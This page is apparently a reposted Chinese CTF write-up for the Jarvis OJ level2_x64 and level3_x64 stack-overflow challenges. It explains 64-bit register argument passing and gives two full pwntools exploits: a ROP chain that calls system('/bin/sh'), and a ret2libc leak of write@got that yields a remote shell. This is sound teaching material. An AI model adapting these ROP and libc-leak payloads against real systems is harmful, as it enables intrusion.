[轉]Jarvis OJ- [XMAN]level2/3_x64-Writeup

來源:互聯網
上載者:User

標籤:debug   元素   arc   images   bar   symbol   contex   imp   function   

 

學弟寫的挺好的,我就直接轉過來了原文連結:http://www.cnblogs.com/ZHijack/p/7940686.html

 

兩道64位棧溢出,思路和之前的32位溢出基本一致,所以放在一起

在這兩道中體現的32位和64位的主要區別在於函數參數傳遞的方式

在32位程式運行中,函數參數直接壓入棧中

    調用函數時棧的結構為:調用函數地址->函數的返回地址->參數n->參數n-1->···->參數1

在64位程式運行中,參數傳遞需要寄存器

    64位參數傳遞約定:前六個參數按順序儲存在寄存器rdi, rsi, rdx, rcx, r8, r9中

    參數超過六個時,從第七個開始壓入棧中

Level2_x64

   

  

 

   和32位level2程式邏輯基本一致

   只要在調用system函數傳遞參數“/bin/sh”時,將其傳入寄存器即可。

  Something new  

    可以使用ROPgadget搜尋我們需要的rop鏈

     ROPgadget可以在程式的彙編代碼中尋找字串或命令

    

    箭頭所指pop rdi ; ret  即為將棧頂元素彈出並存入寄存器rdi,ret返回棧。

   可以利用此類語句將函數參數傳入寄存器。 

   exp: 

#!usr/bin/env python # -*- coding: utf-8 -*-from pwn import  *io = remote("pwn2.jarvisoj.com",9882)elf = ELF("./level2_x64")sys_addr = elf.symbols["system"]bin_addr = 0x600A90    #利用ROPgadget獲得rdi_ret = 0x4006B3payload = ‘‘payload += ‘a‘ * 0x88payload += p64(rdi_ret)payload += p64(bin_addr)payload += p64(sys_addr)io.recvline()io.sendline(payload)io.interactive()io.close()

   結果如下

   

 

Level3_x64

  和上一個相同,差別只在調用函數時參數的傳遞

  

  按照參數傳遞約定,write函數需要三個參數,需要rdi,rsi,rdx三個寄存器,但是沒有發現所需要的第三個寄存器rdx

  所以可以先跳過第三個參數(讀入長度)

  寫好exp之後可以調試下,查看在調用函數之前,rdx的值,如果rdx值>=8,那麼就不需要處理,

  exp

#!usr/bin/env python # -*- coding: utf-8 -*-from pwn import *context.log_level = ‘debug‘io = remote("pwn2.jarvisoj.com",9883)elf = ELF("./level3_x64")write_plt = elf.plt["write"]write_got = elf.got["write"]func = elf.symbols["vulnerable_function"]libc = ELF("./libc-2.19.so")write_libc = libc.symbols["write"]sys_libc = libc.symbols["system"]bin_libc = libc.search("/bin/sh").next()rdi_ret = 0x4006B3rsi_ret = 0x4006B1payload1 = ‘a‘ * 0x88payload1 += p64(rdi_ret) + p64(1)   # rdipayload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)  #rsi 和 r15payload1 += p64(write_plt) + p64(func)io.recvline()io.sendline(payload1)write_addr = u64(io.recv(8))sys_addr = write_addr - write_libc + sys_libcbin_addr = write_addr - write_libc + bin_libcpayload2 = ‘a‘ * 0x88payload2 += p64(rdi_ret) + p64(bin_addr)payload2 += p64(sys_addr) + p64(0xdeadbeef)io.recvline()io.sendline(payload2)io.interactive()io.close()

  結果:

  

 

關於程式中寄存器不夠的問題,留一個連結http://m.blog.csdn.net/zsj2102/article/details/78560300

講的還算清楚

 

[轉]Jarvis OJ- [XMAN]level2/3_x64-Writeup

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.